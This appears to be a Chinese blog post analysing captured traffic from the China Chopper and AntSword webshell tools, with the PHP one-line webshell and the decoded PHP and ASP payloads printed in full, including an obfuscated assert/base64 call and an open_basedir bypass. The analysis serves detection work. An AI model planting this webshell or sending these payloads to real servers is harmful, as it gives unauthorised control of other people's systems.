菜刀和蚁剑的一句话木马的流量都有一个特点,都没有加密的,使用wireshark抓包来分析。

中国菜刀

中国菜刀是一款经典的webshell管理工具,具有文件管理、数据库管理、虚拟终端等功能。这里以菜刀2016为例。

在服务器准备php一句话木马: <?php @eval($_POST['pass']);?>

Wireshark把80端口的数据包过滤出来,然后进行TCP流追踪:

POST数据包中密码pass的内容:

pass = array_map(
"ass"."ert",
array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));\");"
)
);

来分析这段php代码:

array_map 这是php中的一个数组函数,它将一个函数作用到给定数组的每个元素上,并返回一个新的数组。

"ass"."ert" 这个字符串拼接的结果是"assert",执行一个字符串作为php代码。

因此,array_map将 "assert"函数作用到后面的数组的每个元素上。

array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev".(\\\$xx(''));\"); 这个字符串经过拼接后就是 @eval("\$xx=\"BASE64_dEcodE\";@eval(\"\\\$xx(''));\");

在php中,当在一个表达式之前加上@时,任何产生的错误信息都将被忽略。

eval函数中明显是一个Base64编码的Payload,解码以后:

//display_errors设为0,php不会显示错误信息
@ini_set("display_errors","0");
//设置脚本的最大执行时间为无限制
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
//如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
@set_magic_quotes_runtime(0);
};
echo("X@Y");
//获取当前文件所在目录的路径
$D = dirname(__FILE__);
$R = "{$D}\t";
//如果当前路径的第一字符不是 / 则表明是 Windows环境
if (substr($D, 0, 1) != "/") {
//循环遍历从A到Z的所有字母,查找其中哪个是有效的驱动器(盘符),并将它们加到$R中
foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持,则获取当前有效用户的用户信息,否则返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//获取当前php的运行用户
$usr = ($u) ? $u['name'] : @get_current_user();
//添加操作系统相关信息
$R. = php_uname();
$R. = "({$usr})";
print $R;;
echo("X@Y");
//结束脚本执行
die();

总结:

2016版本菜刀相较于2011-2014版本菜刀,最大的改变就是将特征进行打断混淆,eval函数或assert函数用于执行传递攻击的payload,base64_decode函数解码传输的数据。而响应包在->| |<-之间包含执行结果。

蚁剑

蚁剑与菜刀相比,界面更加丰富,功能更加齐全。

蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader

同样的在服务器写一句话木马: <?php @eval($_POST['pass']);?>,注意 POST 要大写,否则蚁剑返回为空。

选择编/解码器选着default时,则不对传输的Payload进行任何操作。

对POST的密码pass进行一个URL解码:

pass = @ini_set("display_errors", "0");
@set_time_limit(0);
//获取php的open_basedir配置项的值
$opdir = @ini_get("open_basedir");
if ($opdir) {
//获取当前脚本文件的路径
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
//使用base64解码后的字符串进行分割操作
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
//将当前脚本路径和系统临时目录添加到$oparr数组中
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
//构建临时目录路径,959eddc56d0f是一个随机字符串
$tmdir = $item."/".959eddc56d0f;
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
//获取临时目录的真实路径
$tmdir = realpath($tmdir);
@chdir($tmdir);
//修改open_basedir的配置为父目录
@ini_set("open_basedir", "..");
//使用正则表达式分割临时目录路径
$cntarr = @preg_split("/\\\\\\\\|\\//", $tmdir);
//循环返回上级目录
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
//将open_basedir配置项恢复为根目录
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};
function asenc($out) {
return $out;
};
//定义一个函数asoutput,用于输出结果
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "bb"."bf3";
echo @asenc($output);
echo "8f0"."909";
}
//启动输出缓冲
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
//一下和菜刀类似,获取盘符,用户信息,系统信息
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
}
asoutput();
die();
HT

相较于菜刀的改进之处在于,可以通过修改open_basedir配置项来尝试绕过授权目录的安全配置的限制。

当选择编/解码器选着base64时,就是将上面的这段php代码进过base64编码再经过URL编码(下图蓝色选中部分)后赋给一个随机串。然后将这个随机串的值通过POST方法传入eval函数再base64解码,通过eval函数执行后最后传给pass。

剩余的4种编码器:

  • chr编码器:对payload的所有字符都利用利用chr函数进行转换。

  • chr16编码器:对payload的所有字符都利用chr函数转换,但是对chr函数传递的参数是十六进制。

  • rot13编码器:对payload中的字母进行rot13转换。

  • rspphp编码器:需要配置生成RSA生成公钥、私钥。

剩余的一种解码器:

  • rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。

接下来看看asp和jsp的payload:

asp的默认编码器:

对POST的密码pass进行一个URL解码:

pass = eval("Ex" & cHr(101) & "cute("
"Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute("
""
"bd=bd&chr(&H"
""
"&c&"
""
")"
""
"):Else:Execute("
""
"bd=bd&chr(&H"
""
"&c&Mid(s,i+2,2)&"
""
")"
""
"):i=i+2:End If"
"&chr(10)&"
"Next:End Function:Response.Write("
""
"6dd8f"
""
"&"
""
"09c7a8"
""
"):Ex" & cHr(101) & "cute("
""
"On Error Resume Next:"
""
"&bd("
""
"44696D20533A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A533D5365727665722E4D61707061746828222E2229266368722839293A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E5772697465285329"
""
")):Response.Write("
""
"98"
""
"&"
""
"9a0"
""
"):Response.End"
")")

主体就是通过 eval 执行构建好的字符串。

其中设置 Server.ScriptTimeout=3600 使脚本运行时间过长也不会触发超时错误。此外 On Error Resume Next 使错误不会中断脚本的执行。

定义了一个名为 bd 的函数,用于将字符串解码为 ASCII 字符。

jsp的默认编码器:

jsp的payload默认编码过后的,尝试URL解码+Base64解码没有成功。

蚁剑总结:

  • php 使用 assert 和 eval 执行

  • asp 只使用 eval 执行

  • jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征


若有错误,欢迎指正!o( ̄▽ ̄)ブ

Webshell流量分析之菜刀Chopper&蚁剑AntSword的更多相关文章

  1. 中国蚁剑 - AntSword

    中国蚁剑 - AntSword 中国蚁剑是一种跨平台操作工具,它主要提供给用户用于有效的网络渗透测试以及进行正常运行的网站. 否则任何人不得将网站用于其无效用途以及可能的等目的.自己承担并追究其相关责 ...

  2. 蚁剑AntSword插件:Bypass disable_Functions

    参考文章: https://www.uedbox.com/post/58634/ 参考视频: https://www.bilibili.com/video/BV1Et411G7D7?from=sear ...

  3. Weevely使用方法以及通信流量分析

    Weevely简介 weevely项目地址:点击查看 weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏 ...

  4. CTF流量分析题大全(掘安攻防平台)

    突然想做一下流量分析题,记得掘安攻防实验室上面有很多的流量分析题目,故做之 流量分析题一般使用的都是wireshark,(流量分析工具中的王牌 夺取阿富汗 说了分析http头,所以直接过滤http协议 ...

  5. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  6. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  7. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  8. WebShell代码分析溯源(九)

    WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...

  9. WebShell代码分析溯源(八)

    WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ...

  10. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

随机推荐

  1. 【测试平台开发】——02Vue前端框架实战—router路由设计(登录页面)

    一.安装vue-cli Mac系统: sudo npm install -g vue-cli 检查是否安装好: vue -V 二.创建新项目 1.打开Vue项目管理器 输入命令: vue ui 但是没 ...

  2. Kubernetes-3:使用kubeadm部署k8s环境及常见报错解决方法

    k8s集群安装 环境说明: k8s-Master-Centos8 ip:192.168.152.53 k8s-Node1-Centos7 ip:192.168.152.253 k8s-Node2-Ce ...

  3. Java多线程并发之同步容器和并发容器-第一篇

    Java多线程并发之同步容器和并发容器-第一篇 概述 本文主要讲解在Java多线程并发开发中,集合中有哪些支持并发的的.什么是同步容器(集合),什么是并发容器(集合)?并发容器分类有哪些?每个分类都有 ...

  4. 如何排查线上w3wp.exe CPU高的问题,使用到了WinDbg、Visual studio来分析IIS进程池的.dmp文件

    最近发现服务器上某个web站点老是CPU很高,该站点部署在IIS上,我IIS上有多个站点,每个站点一个进程池,每个进程池取名都是根据站点来取的,所以很容易看出哪个站点吃掉的CPU,该站点已运行十几年, ...

  5. 爬虫案例1-爬取图片的三种方式之一:DrissionPage篇(3)

    @ 目录 前言 DrissionPage介绍 实战 共勉 博客 前言 继requests篇和selenium篇,本文是爬取图片的最后一个案例,利用了python第三方库DrissionPage来自动化 ...

  6. GRLSTM: 基于图的残差LSTM轨迹相似性计算《GRLSTM: Trajectory Similarity Computation with Graph-Based Residual LSTM》(轨迹路网融合、知识图谱嵌入、图神经网络、残差网络、点融合图、多头图注意力网络GAT、残差LSTM、点感知损失函数(图的点损失函数、轨迹的点损失函数))

    2023年10月18日,14:14. 来不及了,这一篇还是看的翻译. 论文:GRLSTM: Trajectory Similarity Computation with Graph-Based Res ...

  7. Azure 入门系列 (第三篇 Publish Web Application to VM)

    本系列 这个系列会介绍从 0 到 1 搭建一个 Web Application 的 Server. 间中还会带上一些真实开发常用的功能. 一共 6 篇 1. Virtual Machine (VM) ...

  8. Powershell 重新排列 Windows环境变量

    最近乱搞环境变量,然后有些重复了,遂写个脚本去重下排序下. 环境变量有长度限制,如果超出了,比如SqlServer相关的,将共同路径单独搞个变量声明下,比如 将其路径手动替换成如下,可大幅压缩变量长度 ...

  9. 记一次 RabbitMQ 消费者莫名消失问题的排查

    开心一刻 今天好哥们找我借钱哥们:兄弟,我最近手头紧,能不能借我点...我:我手头也不宽裕,要不你试试银行贷款或者花呗?哥们:不行,那个借了要还的我:... 问题回顾 某天下午,生产监控告警:消息积压 ...

  10. Nuxt.js 应用中的 page:start 钩子详解

    title: Nuxt.js 应用中的 page:start 钩子详解 date: 2024/10/8 updated: 2024/10/8 author: cmdragon excerpt: pag ...